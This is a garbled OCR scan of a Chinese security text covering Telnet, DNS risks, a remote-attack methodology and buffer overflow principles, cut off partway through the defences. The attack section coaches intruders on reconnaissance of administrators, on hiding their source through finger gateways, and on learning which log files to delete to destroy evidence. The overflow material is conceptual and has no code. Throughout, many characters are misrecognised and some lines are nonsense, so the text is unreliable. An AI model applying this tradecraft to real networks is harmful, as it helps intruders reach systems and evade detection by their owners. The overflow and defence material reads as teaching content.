在 Uniz 下 , 您 可 以 按 CTRL +“]” 暂 时 回 到 telnet

ilay 刘 ab

图 13

2

出 现下 面

另外 , 从 tehmet 回 到 连 线 , 只 需 在 telnet> 提示 符

号 下 按键 即 可 。 其 实 ,Telnet 本 身 非 常 容 易 操作 及 了

解 , 当 你 进入 这 个 世界 时 ,你 也 会 这 样 说 的 。

7. 域名 服务 (DNS )

域名 服务 是 指 在 人 们 使 用 的 主机 名 与 机 器 使 用

的 数字 耳 地 址 之 间 进 行 转换 。 在 互联 网 早期 阶段 ,网

上 的 每 个 站 点 都 保留 一 个 主机 列表 , 其 中 列 有 相关 的

每 个 机 器 的 名 字 和 卫 地 址 。 随 着 联网 的 主机 成 百 万

地 增加 , 每 个 站 点 都 保留 一 份 主机 列表 就 不 现实 了 ,

也 很 少 有 站 点 能 够 那样 做 。 一 方面 是 如 果 那 样 做 , 主

机 列表 会 非常 大 , 另 一 方面 是 当 其 他 机 器 改变 名 字 和

对 应 的 地 址 时 , 主 机 列表 不 能 及 时 修改 , 这 两 方面 的

原因 都 导致 主机 列表 不 易 修改 。

取而代之 的 是 使 用 域名 服务 DNS。DNS 允许 每 个

站 点 保留 自己 的 主机 信息 , 也 能 查询 其 他 站 点 的 信

息 。DNS 本 质 上 不 是 一 个 用 户 级 服务 ,但 它 是 SMTP、

FTP 和 Telnet 的 基础 , 每 个 其 他 的 服务 都 用 到 它 , 因

为 用 户 愿意 使 用 域名 而 不 是 那些 难 记 的 数字 。 许 多 匿

名 FTP 服务 器 还 要 进行 名 字 和 地 址 的 双重 验证 ,否则

不 允许 从 客户 机 登录 。

一 般 来 说 , 每 一 个 企业 网 都 必须 使 用 和 提供 名 字

服务 , 以 便 加 入 互联 网 。 然 而, 提供 DNS 服务 的 主要

风险 是 可 能 泄露 内 部 机 器 信息 。 在 DNS 的 数据 库 文

件 中 往往 会 包含 一 些 主机 信息 的 记录 , 这 些 信息 如 果

不 加 以 保护 是 很 容易 被 外 界 知道 的 , 也 很 容易 给 攻击

者 提供 一 些 有 用 信息 ,如 机 器 所 用 的 操作 系统 等 。

内 部 使 用 DNS 和 依赖 主机 名 进行 认证 , 使 人 们

无 力 抵抗 那些 建立 了 伪 DNS 服务 器 的 人 侵 者 , 这 可

以 通过 几 种 方法 组 合 来 解决 ,包括 ;

使 用 IP 地 址 (而 不 是 主机 名 ) 来 认证 所 需 的 更 安

全 的 服务 (防止 名 字 欺 骗 技 术 )。

为 保证 最 安全 的 服务 , 要 认证 用 户 而 不 是 主机

名 ,因为 卫 地 址 也 不 可 靠 (防止 耳 坎 骗 技 术 )。

二 .远程 攻击

1. 什么 是 远程 攻击

简单 地 说 ,远程 攻击 就 是 指 攻击 远程 计算 机 。 远

程 计算 机 ”的 定义 如 下 :

“一 台 远 程 计算 机 是 指 这 样 一 台 机 器 : 它 不 是 你

正在 其 上 工作 的 平台 , 而 是 能 利用 某 类 协议 通过 症 -

teret 网 或 任何 其 他 网 络 介质 被 使 用 的 计算 机 ”。

而 准确 一 点 儿 说 , 一 个 远程 攻击 的 攻击 对 象 是 攻

击 者 还 无 法 控制 的 计算 机 ; 也 可 以 说 , 远程 攻击 是 一

种 专门 攻击 除 攻击 者 自己 计算 机 以 外 的 计算 机 , 这 人 台

计算 机 可 能 是 在 近 在 您 尺 的 同一 工作 间或 是 同一 楼

房 中 ,也 有 可 能 是 在 千里 之 和 的 大 洋 彼岸 。

2 如何 进行 远程 攻击

通常 的 远程 攻击 可 以 分 为 以 下 几 个 步骤 进行 :

(收集 目 标 信息

首先 , 进行 远程 攻击 并 不 需要 和 攻击 目标 进行 密

切 地 接触 。 入 侵 者 的 第 一 个 任务 (在 识别 出 目标 机 及

其 所 在 的 网 络 的 类 型 后 ) 是 决定 他 要 对 付 谁 。 此 类 信

息 的 获得 毋须 干扰 目标 的 正常 工作 (假设 目标 没有 安

装 防火 墙 , 因为 大 部 分 的 网 络 都 没有 安装 防火 墙 , 长

期 以 来 一 直 如 此 )。 此 类 的 某 些 信息 可 通过 下 面 的 技

术 获 得 :

x* 运行 一 个 查询 命令 host。 通 过 此 命令 ,人 侵 者

可 获得 保存 在 目标 域 服务 器 中 的 所 有 信息 。 其 查询 结

果 所 含 信息 量 的 多 少 主要 依靠 网 络 的 大 小 和 结构 。

x WHOIS 查询 。 此 查询 的 方法 可 识别 出 技术 管

理 人 员 ,这 类 信息 也 被 认为 是 无 用 的 ,其实 不 然 , 因为

通常 技术 管理 人 员 需 要 参与 目标 网 的 日 常 管理 工作 ,

所 以 这 些 人 的 电子 邮件 地 址 会 有 些 价值 (而 且 同 时 使

用 host 和 WHOIS 查询 有 助 于 你 判断 目标 是 一 个 实 实

在 在 的 系统 还 是 一 个 页 结 点 , 或 是 由 另 一 个 服务 形成

的 虚拟 的 域 等 等 )。

x 运行 一 些 Usenet 和 WEB 查询 。 在 人 侵 者 和 目

标 进 行 实际 接触 之 前 , 他 还 有 许多 查询 工作 要 做 。 其

中 之 一 就 是 查询 某 位 技术 管理 人 员 的 名 字 信 息 (使 用

强制 的 、 区 分 大 小 写 的 、 完 全 匹配 用 的 条 件 查询 )。 通

过 查询 人 侵 者 可 了 解 这 些 系统 管理 员 和 技术 管理 员

是 否 经 常 上 Usenet。 同 样 , 也 可 在 所 有 可 用 的 安全 邮

件 列表 的 可 查询 集合 中 查询 他 们 的 地 址 。 有 许多 网 络

服务 可 用 于 收集 目标 的 信息 , 如 finger、howmount 和

Ipcinfo 都 是 好 的 起 点 。 但 不 要 停滞 于 此 , 你 还 能 利用

DNS、VWhios、Sendmail(smtp)、ftp、uucp 和 其 他 可 用 的

各 种 服务 。 收 集 系统 管理 员 的 相关 信息 是 最 为 重要

的 。 系 统管 理 员 的 职责 是 维护 站 点 的 安全 , 当 他 们 遇

到 各 种 问题 时 , 许多 管理 员 会 迫不及待 地 将 这 些 问 题

发 到 Usenet 或 邮件 列表 上 以 寻求 答案 。 只 要 表 花 一 些

时 间 来 寻找 此 系统 管理 员 的 地 址 (和 其 他 的 一 些 信

息 ) 你 便 能 彻底 地 了 解 他 的 网 络 、 他 的 安全 概念 以 及

他 的 个 性 。 因 为 发 出 这 种 邮件 的 系统 管理 员 总 会 指明

他 们 的 组 织 结 构 、 网 络 的 拓 补 结构 和 他 们 面临 的 问

题 。 因 为 不 直接 使 用 根 帐 号 ,所 以 系统 管理 员 的 ID 可

为 任何 字符 串 。 让 我 们 假设 你 知道 这 个 ID :walrus。 进

一 步 假设 通过 host 查询 命令 你 得 到 了 150 人 台 计 算 相

的 有 关 信 息 其 中 包括 每 台 计 算 机 的 名 字 。 例 如 他 们 可

以 是 mail. victim. net、news. victim. net、 shell, victim.

net、cgi. victim. net 等 等 〈 尽 管 在 实践 中 , 它们 可 能 会

有 “主题 "名 ,从 而 使 外 人 不 知道 某 台 机 器 负担 何 种 工

作 )。 和 人 入侵 者 应 该 在 每 台 机 器 上 试 一 试管 理 员 的 地 址 ,

事实 上 除了 在 网 络 的 每 台 计算 机 上 党 试管 理 员 的 地

址 外 , 人 侵 者 还 会 在 每 台 计 算 机 上 尝试 所 有 的 具有 普

遍 性 的 东西 。 也 许可 以 发 现 walmus 喜欢 用 的 计算 机 ,

所 有 信件 都 是 从 这 人 台 计 算 机 发 出 的 。 请 注意 如 果 目 标

是 一 个 服务 提供 者 (或 者 允许 用 户 对 它 进 行 合法 访问

的 系统 ) 那 么 通过 观察 系统 管理 员 从 哪里 进入 系统 能

获得 此 管理 员 的 更 多 信息 。 一 般 从 外 部 联合 使 用

finger 和 rusers 命令 即 可 获得 这 些 信息 。 换 句 话说 ,你

要 一 直 留 意外 部 网 ( 除 目 标 网 以 外 的 网 , 在 这 些 网 络

上 那个 系统 管理 有 一 些 帐 号 ) , 如 果 他 最 近 的 一 次 登

录 是 在 Netcom, 跟踪 他 在 Netcom 帐号 一 天 左右 ,看 看

会 发 生 什么 。

(2) 关 于 finger 查询

finger 很 可 能 暴露 你 的 行为 ,为 了 避免 finger 查询

产生 标记 , 绝 大 多 数 入 侵 者 使 用 finger gateways(finger

网 关 )。 finger 网 关 是 一 些 WEB 主页 , 通常 包含 了 一

个 简单 的 输入 框 (field) , 此 框 指向 在 远 地 服 务 器 硬盘

上 的 一 个 CGI 程序, 此 远程 服务 器 执行 finger 查询 。

通过 finger 网 关 的 使 用 ,人 侵 者 能 隐藏 其 源 地 址 。

(3) 关 于 操作 系统

也 许 你 已 经 使 用 了 各 种 方法 来 识别 在 目标 网 络

上 使 用 的 操作 系统 的 类 型 和 版 本 。 无 论 如 何 , 一 旦 判

世 出 目标 网 络 上 的 操作 系统 和 结构 是 什么 样 的 , 下 一

步 的 研究 工作 就 可 以 进行 了 。 首 先 作 一 张 表 , 列 出 每

个 操作 系统 和 机 器 的 类 型 (这 张 表 对 于 你 进一步 进行

研究 有 极 大 的 帮助 ) , 然 后 对 每 个 平台 进行 研究 并 找

出 它们 中 的 漏洞 。

(4 进行 测试

实际 上 只 有 那些 对 入 侵 极 热衷 的 人 侵 者 才 会 做

攻击 过 程 中 的 测试 部 分 。 大 部 分 的 入侵 者 并 不 想 尝

这 种 行为 ,因为 这 需要 一 定 的 费用 。 在 此 步 又 中 ,首先

要 建立 一 个 和 目标 一 样 的 环境 。 一 旦 将 此 环境 建立 起

来 后 ,你 就 可 对 它 进行 一 系列 的 攻击 。 在 此 过 程 中 ,有

两 件 事 需要 注意 :

中 从 攻击 方 来 看 这 些 攻击 行为 看 上 去 像 什么 ,

@ 四 从 被 攻击 方 来 看 这 些 攻击 行为 看 上 去 像 什

人 么 。

通过 检查 攻击 方 的 日 志文 件 , 人 侵 者 能 大 致 了 解

对 一 个 几乎 没有 保护 措施 的 目标 进行 攻击 时 攻击 行

为 看 上 去 像 什 么 (目标 没有 保护 措施 是 指 目标 机 上 没

有 运行 传统 的 守护 程序 )。 这 能 给 和 人 侵 者 提供 一 些 提

示 ; 如 果真 正 的 攻击 行为 和 实验 结果 不 一 致 , 那么 一

定 存在 着 某 些 原因 。 一 台 相 同 配置 的 机 器 (或 者 ,应 说

成 一 台 配 置 明显 一 致 的 机 器 ) 在 相同 的 攻击 下 应 产生

相同 的 反应 。 如 果 结 果 并 非 如 此 , 那 说 明 管理 目标 机

的 人 瞳 中 已 有 了 应 急 计划 。 在 这 种 情况 下 , 人 侵 者 应

谨慎 行动 。 通过 检查 被 攻击 方 的 日 志 , 人 和 人 侵 者 可 了

解 攻 击 过 程 中 留 下 的 “痕迹 ?看 上 去 像 什么 。 这 对 人 侵

者 来 说 很 重要 。 在 一 个 异 构 系 统 中 , 存在 着 不 同 的 日

志 过 程 。 人 侵 至 少 应 该 知道 这 些 日 志 过 程 是 什么 , 换

名 话说 , 他 需要 了 解 保存 人 侵 “痕迹 ”的 每 个 文件 (在

相同 配置 的 计算 机 上 )。 这 些 信 息 是 至 关 重要 的 ,并 具

有 指导 作用 : 它 能 告诉 入侵 者 删除 哪些 文件 来 毁灭 其

入 侵 的 证 据 。 找 到 这 些 文件 的 推 一 方法 就 是 在 自己 控

制 的 环境 中 进行 测试 并 检查 日 志 。

(5) 各 种 相关 工具 的 准备

紧 接着 应 该 收集 各 种 实际 使 用 的 工具 , 这 些 工 具

最 有 可 能 是 一 些 扫描 工具 , 入侵 者 至 少 应 该 判断 出 目

标 网 上 的 所 有 设备 。 基 于 对 操作 系统 的 分 析 , 你 需要

对 你 的 工具 进行 评估 , 以 判断 有 哪些 漏洞 和 区 域 它们

没有 覆盖 到 。 在 只 用 一 个 工具 而 不 用 另 一 个 工具 就 可

覆盖 某 特定 设备 的 情况 下 , 最 好 还 是 同时 使 用 这 两 个

工具 。 这 些 工具 的 联合 使 用 是 否 方便 主要 依赖 于 这 些

工具 是 否 能 简易 地 作为 外 部 模块 附加 到 一 个 扫描 工

具 上 ,如 SATAN 或 SAFESuite。 在 此 进行 测试 变 得 极

为 有 价值 , 因为 在 多 数 情 况 下 附加 一 个 外 部 模块 并 让

它 正 常 地 工作 不 那么 简单 为 了 得 到 这 些 工 具 工 作 的

确切 结果 , 最 好 先 在 某 台 机 器 上 进行 实验 (这 人 台 机 器

甚至 可 与 目标 机 不 同 )。 这 是 因为 ,我 们 想 知道 是 否 会

由 于 加 上 两 个 或 多 个 单独 设计 的 模块 而 使 扫描 工具

的 工作 突然 被 中 断 或 失败 。 记 住 , 实际 的 扫描 攻击 过

程 只 能 一 气 呵 成 , 如 果 中 间 被 打 断 , 那 你 不 会 有 第 二

次 机 会 。 于 是 ,根据 你 想 在 目标 机 上 得 到 的 东西 ,你 可

挑选 一 些 合适 的 工具 , 在 某 些 情况 下 , 这 是 一 件 轻松

的 事 。 例 如 , 也 许 你 已 经 知道 在 目标 系统 上 的 某 人 正

通过 网 络 运行 着 一 些 X 窗 口 系统 的 应 用 软件 ,在 这 种

情况 下 ,如果 你 搜索 Xhost 的 漏洞 ,一 定 能 有 所 收获 。

记 住 使 用 扫描 工具 是 一 种 激烈 的 解决 方案 。 它 等 于 是

在 大 日 天 拿 着 棍 冲 到 某 户 人 家 , 去 试 着 援 所 有 的 门 和

窗 。 只 要 此 系统 的 管理 员 适 度 地 涉 狂 过 一 些 安全 技

术 , 那 你 的 行为 在 他 面前 会 暴露 无 遗 。

《6) 攻 击 策略 的 制定

在 internet 漫游 过 程 中 攻击 这 人 台 或 那 台 服 务 器 的

日 子 基本 上 已 经 过 去 。 多 年 前 , 只 要 系统 没有 遭 到 破

坏 , 突破 系统 安全 的 行为 便 被 看 作 是 一 种 轻微 的 越界

行为 。 如 今 ,形势 则 大 不 相同 。 今 天 ,数据 的 价值 成 了

谈论 的 焦点 。 因 此 作为 现代 入侵 者 , 没有 任何 理由 就

实施 人 侵 是 很 不 明智 的 。 反 过 来 , 只 有 制定 了 一 个 特

定 计划 再 开始 进行 人 侵 才 是 明智 之 举 。 攻 击 策略 主要

依赖 于 人 侵 者 所 想 要 达到 的 目的 。 需 要 说 明 的 是 扫描

时 间 花 得 越 长 , 也 就 是 说 越 多 的 机 器 被 涉及 在 内 ,, 那

么 扫描 的 动作 就 越 有 可 能 被 发 现 ; 同时 有 越 多 的 扫描

数据 需要 筛选 ,因此 ,扫描 的 攻击 时 间 越 短 越 好 。 一 旦

通过 收集 到 的 数据 判断 出 网 络 的 某 部 分 和 整个 网 络

是 通过 路 由 器 、 交 换 机 、 桥 或 其 他 设备 分 隔 的 ,那么 就

应 该 把 它 排除 在 被 扫描 的 对 象 之 外 。 毕 竟 攻 破 这 些 系

统 而 获得 的 收益 可 能 微乎其微 。 假 定 入侵 者 获得 了 此

网 段 上 的 某 系统 的 根 权 限 , 那 他 能 得 到 什么 呢 ? 他 可

以 轻松 地 穿 过 路 由 器 、 桥 或 交换 机 吗 ? 恺 怕 不 能 ! 因

此 , 监 听 只 能 提供 此 网 段 上 其 他 计算 机 的 相关 信息 ,

欺骗 方法 也 只 能 对 此 网 段 内 的 机 器 有 效 。 因 为 你 所 想

要 的 是 一 个 主 系统 上 (或 者 是 一 个 可 用 的 最 大 网 段 )

的 根 权限 ,所 以 对 一 个 更 小 、 更 安全 的 网 络 进行 扫描

不 可 能 获得 很 大 的 好 处 。 无 论 如 何 , 一 旦 你 确定 了 扫

描 的 参数 ,就 可 以 开始 行动 了 。

(7) 扫 描 结束 后

当 你 完成 扫描 后 , 你 便 可 以 开始 分 析 这 些 数据

了 。 首 先 你 应 考虑 通过 此 方法 得 到 的 信息 是 否 可 人 靠

(可 靠 度 在 某 种 程度 上 可 通过 在 类 似 的 环境 中 进行 的

扫描 实验 得 到 )。 然 后 再 进行 分 析 ,扫描 获得 的 数据 不

同 则 分 析 过 程 也 不 同 。 在 SATAN 中 的 文档 中 有 一 些

关于 漏洞 的 简短 说 明 , 并 且 直 接 而 富有 指导 人 性。 如 果

找到 了 某 个 漏洞 , 你 就 应 该 重新 参考 那些 通过 搜索 漏

洞 和 其 他 可 用 资源 而 建立 起 来 的 数据 库 信 息 。 主 要 的

一 点 是 , 没有 任何 方法 能 使 一 个 新 手 在 一 夜 之 间 变 成

一 位 有 经 验 的 系统 管理 员 或 人 侵 者 , 这 是 残酷 的 事

实 。 在 你 真正 理解 了 攻击 的 本 质 和 什么 应 从 攻击 中 易

除 之 前 ,你 可 能 要 花 上 数 个 星期 来 研究 源码 、 漏 洞 、 某

特定 操作 系统 和 其 他 信息 , 这 些 是 不 可 和 逾越 的 。 在 攻

击 中 经 验 是 无 法 替代 的 , 耐心 也 是 无 法 替代 的 。 如 果

你 缺乏 上 述 任何 一 个 特点 , 那 就 忘记 进攻 吧 。 这 是 此

处 的 重要 一 点 。 无 论 是 像 KevinMitnik( 人 侵 者 ) 这 种 人

还 是 像 Weitse Venema( 黑 客 ) 这 种 人 , 他 们 几乎 没有

区 别 。 他 们 是 计算 机 安全 领域 内 的 著名 人 士 (在 某 些

情况 下 ,甚至 远 远 超过 )。 然 而 他 门 的 成 果 无 论 是 好 是

坏 , 都 来 自 于 艰苦 的 工作 学习、 天 赋 、 思 想 、 想 象 和 自

我 钻研 。 因 此 , 防火 墙 无 法 挽救 一 个 不 能 熟练 使 用 它

的 系统 管理 员 ; 同样 , SATAN 也 无 法 帮助 一 个 刚 出 道

的 人 侵 者 攻破 远程 目标 的 保护 。 远 程 攻击 变 得 越 来 越

普遍 , 扫描 工具 的 运用 已 被 更 多 的 普通 用 户 所 掌握 。

类 似 的 , 可 查询 的 安全 漏洞 索引 的 大 量 增加 , 也 极 大

地 促进 了 人 们 识别 可 能 的 安全 问题 的 能 力 。 虽 然 这 里

列 出 了 远程 攻击 的 一 般 步 又, 但 是 如 果 你 仅 是 一 位 初

学 者 的 话 , 不 要 指望 能 够 据 此 进行 远程 攻击 , 一 个 经

过 很 好 计划 和 可 怕 的 远程 攻击 。 需 要 实施 者 对 TCP/

下 以 及 系统 等 方面 的 知识 有 着 极 深 刻 的 了 解 。

三 、 缓 冲 溢出

缓冲 区 溢出 的 漏洞 是 众所周知 的 , 这 是 一 个 非常

普遍 .非常 危 险 的 漏洞 ,在 各 种 操作 系统 、 应 用 软件 中

广泛 存在 。 以 缓冲 区 溢出 为 类 型 的 安全 漏洞 是 最 为 常

见 的 一 种 漏洞 , 也 因此 对 缓冲 区 溢出 漏洞 的 攻击 占 了

远程 网 络 攻击 的 绝 大 多 数 , 有 专门 研究 安全 问题 的 人

说 ,这 是 “十 年 来 攻击 和 防卫 的 弱点 ” ,可见 ,无 论 是 一

名 黑客 还 是 一 名 系统 管理 员 , 对 于 高 级 缓冲 区 溢出 方

面 的 知识 是 不 可 或 缺 的 。

1, 缓冲 溢出 的 概念 与 原理

缓冲 溢出 指 的 是 一 种 系统 攻击 的 手段 , 通过 向 程

序 的 缓冲 区 写 超出 其 长 度 的 内 容 , 造 成 缓冲 区 的 滋

出 ,从 而 破坏 程序 的 堆栈 。 使 程序 转 而 执行 其 它 指令 ,

以 达到 攻击 的 目的 。 据 统计 , 通过 缓冲 区 溢出 进行 的

攻击 占 所 有 系统 攻击 总 数 的 80% 以 上 。 造 成 缓冲 区

溢出 的 原因 是 程序 中 没有 仔细 检查 用 户 输入 的 参

数 。 从 上 面 的 缓冲 区 溢出 定义 中 可 以 看 到 , 缓冲 区 溢

出 就 是 将 一 个 超过 缓冲 区 长 度 的 字符 串 置 和 人 缓冲 区

的 结果 , 而 向 一 个 有 限 空 间 的 缓冲 区 中 置 入 过 长 的 字

符 串 可 能 会 带 来 两 种 后 果 , 一 是 过 长 的 字符 串 履 盖 了

相 邻 的 存储 单元 , 引起 程序 运行 失败 , 严重 的 可 导致

系统 崩溃 ; 另 一 种 后 果 是 利用 这 种 漏洞 可 以 执行 任意

指令 , 甚至 可 以 取得 系统 特权 。 由 此 而 引发 了 许多 种

攻击 方法 。

2. 缓冲 溢出 的 危害

缓冲 区 溢出 攻击 之 所 以 成 为 一 种 常见 安全 攻击

手段 , 其 原因 在 于 缓冲 区 溢出 漏 澜 太 普通 了 , 并 且 易

于 实现 。 这 种 攻击 可 以 使 得 一 个 匿名 的 ntermet 用 户

有 机 会 获得 一 台 主 机 的 部 分 或 全 部 的 控制 权 ! 而 且 ,

缓冲 区 溢出 成 为 远程 攻击 的 主要 手段 , 其 原因 在 于 组

冲 区 溢出 漏洞 给 予 了 攻击 者 他 所 想 要 的 一 切 : 植 人 并

且 执行 攻击 代码 。 被 植 人 的 攻击 代码 以 一 定 的 权限 运

行 有 缓冲 区 溢出 漏洞 的 程序 , 从 而 得 到 被 攻击 主机 的

控制 权 。 在 1998 年 Lincoln 实验 室 用 来 评估 人 侵 检测

的 5 种 远程 攻击 中 有 3 种 是 基于 社会 工程 学 的 信任

关系 ,2 种 是 缓冲 区 溢出 。 而 在 1998 年 CERT 的 13 份

建议 中 ,有 9 份 是 与 缓冲 区 溢出 有 关 的 ,在 1999 年 ,

至 少 有 半数 的 建议 是 和 缓冲 区 溢出 有 关 的 。 在 Bug-

trad 的 调查 中 , 有 2/3 的 被 调查 者 认为 缓冲 区 溢出 漏

洞 是 一 个 很 严重 的 安全 问题 。

3. 缓冲 溢出 漏洞 及 攻击

缓冲 区 溢出 攻击 的 目的 在 于 扰乱 具有 某 些 特权

运行 的 程序 的 功能 。 这 样 可 以 让 攻击 者 取得 程序 的 控

制 权 , 如 果 该 程序 具有 足 够 的 权限 , 那么 整个 主机 就

被 控制 了 。 一 般 而 言 ,攻击 者 政 击 root 程序 ,然后 执行

类 似 “exec(sh)” 的 执行 代码 来 获得 root 的 shell。 但 并

不 总 是 这 样 的 , 为 了 达到 这 个 目的 , 攻击 者 必须 达到

x 在 程序 的 地 址 空间 里 安排 适当 的 代码 ;

x* 通过 适当 地 初始 化 寄存 器 和 存储 器 , 让 程序

跳 转 到 安排 好 的 地 址 空间 执行 。

我 们 根据 这 两 个 目标 来 对 缓冲 区 溢出 攻击 进行

分 类 。

一 \ 在 程序 的 地 址 空间 里 安排 适当 的 代码 的 方法

有 两 种 在 被 攻击 程序 地 址 空间 里 安排 攻击 代码

的 方法 :

1、 植 人 法 :

攻击 者 向 被 攻击 的 程序 输入 一 个 字符 串 , 程序 会

把 这 个 字符 串 放 到 缓冲 区 里 。 这 个 字符 串 包 含 的 数据

是 可 以 在 这 个 被 攻击 的 硬件 平台 上 运行 的 指令 序

列 。 在 这 里 攻击 者 用 被 攻击 程序 的 缓冲 区 来 存放 攻击

代码 。 具 体 的 方式 有 以 下 两 种 差别 :

(GD) 攻击 者 不 必 为 达到 此 目的 而 溢出 任何 缓冲

区 。 可 以 找到 足够 的 空间 来 放置 攻击 代码 。

(2) 缓 冲 区 可 以 设 在 任何 地 方 : 堆 栈 ( 目 动 变 量 )、

堆 ( 动 态 分 配 的 ) 和 静态 数据 区 (初始 化 或 者 未 初始 化

的 数据 )。

2 利用 已 经 存在 的 代码 :;

有 时 候 , 攻击 者 想 要 的 代码 已 经 在 被 攻击 的 程序

中 了 ,, 攻击 者 所 要 做 的 只 是 对 代码 传递 一 些 参 数 ,, 然

后 使 程序 跳 转 到 我 们 的 目标 。 比 如 , 攻击 代码 要 求 执

行 “exece( /binvsh )”, 而 在 libe 库 中 的 代码 执行

“exec(arg)”, 其 中 arg 是 一 个 指向 字符 串 的 指针 参

数 , 那 么 攻击 者 只 要 把 传人 的 参数 指针 改 向 指向 “/

bin/sh”, 然 后 调转 到 libe 库 中 的 相应 的 指令 序列 即

可 。

二 控制 程序 转移 到 攻击 代码 的 方法

所 有 的 这 些 方法 都 是 在 寻求 改变 程序 的 执行 流

程 , 使 之 跳 转 到 攻击 代码 。 最 基本 的 就 是 溢出 一 个 没

有 边界 检查 或 者 其 他 弱点 的 缓冲 区 , 这 样 就 扰乱 了 程

序 的 正常 执行 顺序 。 通 过 溢出 一 个 缓冲 区 , 攻击 者 可

以 用 近乎 暴力 的 方法 改写 相 邻 的 程序 空间 而 直接 跳

过 系统 的 检查 。 这 里 分 类 的 基准 是 攻击 者 所 寻求 的 组

冲 区 溢出 的 程序 空间 类 型 。 原 则 上 可 以 是 任意 的 空

间 。 比 如 ,最 初 的 Moris Worm( 英 尔 斯 间 虫 ) 就 是 使 用

了 fingerd 程序 的 缓冲 区 溢出 , 扰 乱 ingerd 要 质 行 的

文件 的 名 字 。 实 际 上 , 许多 的 缓冲 区 溢出 是 用 暴力 的

方法 来 寻求 改变 程序 指针 的 。 这 类 程序 的 不 同 的 地 方

就 是 程序 空间 的 突破 和 内 存 空间 的 定位 不 同 。 一 般 来

说 ,控制 程序 转移 到 攻击 代码 的 方法 有 以 下 几 种 ;

1 激活 纪录 (Activation Records ):

每 当 一 个 函数 调用 发 生 时 , 调用 者 会 在 堆栈 中 留

下 一 个 激活 纪录 , 它 包 含 了 函数 结束 时 返回 的 地 址 。

攻击 者 通过 溢出 这 些 自动 变量 , 使 这 个 返回 地 址 指向

攻击 代码 , 通过 改变 程序 的 返回 地 址 , 当 函数 调用 结

束 时 , 程序 就 跳 转 到 攻击 者 设 定 的 地 址 , 而 不 是 原先

的 地 址 。 这 类 的 缓冲 区 溢出 被 称 为 “stack smashing

attack” ,是 目前 常用 的 缓冲 区 溢出 攻击 方式 。

2 函数 指针 (Function Pointers ) :

”void( 炎 foo) () 声 明了 一 个 返回 值 为 viod 函数

指针 的 变量 foo。 函 数 指针 可 以 用 来 定位 任何 地 址 空

闻 , 所 以 攻击 者 只 需 在 任何 空间 内 的 函数 指针 附近 找

到 一 个 能 够 溢出 的 缓 审 区 , 然后 溢出 这 个 缓冲 区 来 改

变 函 数 指针 。 在 某 一 时 刻 , 当 程序 通过 函数 指针 调用

函数 时 , 程序 的 流程 就 按 攻击 者 的 意图 实现 了 ! 它 的

一 个 攻击 范例 就 是 在 linux 系统 下 的 superprobe 程

序 。

3. 长 跳 转 组 证 区 (Longjmpbuffers ):

在 C 语言 中 包含 了 一 个 简单 的 检验 / 恢复 系统 ,

称 为 setimp/longjmp。 意 思 是 在 检验 点 设 定 “setjimp

(buffer)”, 用 ”longjmp(buffer) "来 恢复 检验 点 。 然 而 ,

如 果 攻 击 者 能 够 进 和 人 缓冲 区 的 空间 , 那 么 “longjmp

(buffer) ”实际 上 是 跳 转 到 攻击 者 的 代码 。 像 函数 指针

一 样 , longjmp 组 种 区 能 够 指向 任何 地 方 ,所 以 攻击 者

所 要 做 的 就 是 找到 一 个 可 供 溢出 的 缓冲 区 。 一 个 典型

的 例子 就 是 Pen 5. 003, 攻 击 者 首先 进入 用 来 恢复 组

冲 区 溢出 的 longjmp 缓冲 区 , 然 后 诱导 进 和 人 恢复 模式

FE FREETTT

汉中 民有 | 中 3 有 人 亡 S

这 样 就 使 Perl 的 解释 器 跳 转 到 攻击 代码 上 了 !

三 .综合 代码 植 人 和 流程 控制 技术

最 简单 和 常见 的 缓冲 区 溢出 攻击 类 型 就 是 在 一

个 字符 串 里 综合 了 代码 植 人 和 激活 纪录 。 攻 击 者 定位

一 个 可 供 溢出 的 自动 变量 , 然后 向 程序 传递 一 个 很 大

的 字符 串 , 在 引发 缓 种 区 溢 出 改变 激活 纪录 的 同时 植

人 了 代码 。 这 个 是 由 Levy 指出 的 攻击 的 模板 。 因 为 C

在 习惯 上 只 为 用 户 和 参数 开辟 很 小 的 缓冲 区 , 因此 这

种 漏洞 攻击 的 实例 不 在 少数 。

代码 植 人 和 缓冲 区 溢出 不 一 定 要 在 一 次 动作 内

完成 。 攻 击 者 可 以 在 一 个 缓冲 区 内 放置 代码 , 这 时 不

能 溢出 缓冲 区 。 然 后 , 攻击 者 通过 溢出 另外 一 个 缓冲

区 来 转移 程序 的 指针 。 这 种 方法 一 般 用 来 解决 可 供 溢

出 的 缓冲 区 不 够 大 (不 能 放下 全 部 的 代码 ) 的 情况 。 如

果 攻 击 者 试图 使 用 已 经 常 驻 的 代码 而 不 是 从 外 部 植

入 代码 ,他 们 通常 必须 把 代码 作为 参数 。 举 例 来 说 ,在

libce( 几 乎 所 有 的 C 程序 都 要 它 来 连接 ) 中 的 部 分 代码

段 会 执行 “xexc(something)' , 其 中 something 就 是 参

数 。 攻 击 者 使 用 缓冲 区 溢出 改变 程序 的 参数 , 然后 利

用 另 一 个 缓冲 区 溢出 使 程序 指针 指向 libe 中 的 特定

的 代码 段 。

4. 缓冲 区 洪 册 的 保护 方法

目前 有 四 种 基本 的 方法 保护 缓冲 区 免 受 缓冲 区

溢出 的 攻击 和 影响 。

一 、 编 写 正确 的 代码

编 定 正确 的 代码 是 一 件 非常 有 意义 但 耗 时 的 工

作 ,特别 像 编写 C 语言 那 种 具有 容易 出 错 倾向 的 程序

(如 : 字符 串 的 零 结尾 ), 这 种 风格 是 由 于 追求 性 能 而

忽视 正确 性 的 传统 引起 的 。 尽 管 伦 了 很 长 的 时 间 使 得

人 们 知道 了 如 何 编写 安全 的 程序 组 , 但 具有 安全 漏洞

的 程序 依旧 出 现 。 因 此 人 们 开发 了 一 些 工 具 和 技术 来

帮助 经 验 不 足 的 程序 员 编 写 安全 正确 的 程序 。 最 简单

的 方法 就 是 用 grep 来 搜索 源 代 码 中 容易 产生 漏洞 的

库 的 调用 , 比 如 对 strcpy 和 sprintf 的 调用 , 这 两 个 郴

数 都 没有 检查 输入 参数 的 长 度 。 事 实 上 各 个 版 本 C 的

标准 库 均 有 这 样 的 问题 存在 。 为 了 寻找 一 些 常见 的 请

如 缓冲 区 溢出 和 操作 系统 竞争 条 件 等 漏洞 ,一些 代 码

检查 小 组 检查 了 很 多 的 代码 。 然 而 依然 有 漏网 之 鱼 存

在 。 尽 管 采用 了 stmcpy 和 snprintf 这 些 替 代 函 数 来 防

止 缓冲 区 溢出 的 发 生 , 但 是 由 于 编写 代码 的 问题 , 仍

旧 会 有 这 种 情况 发 生 。 比 如 lprm 程序 就 是 最 好 的 例

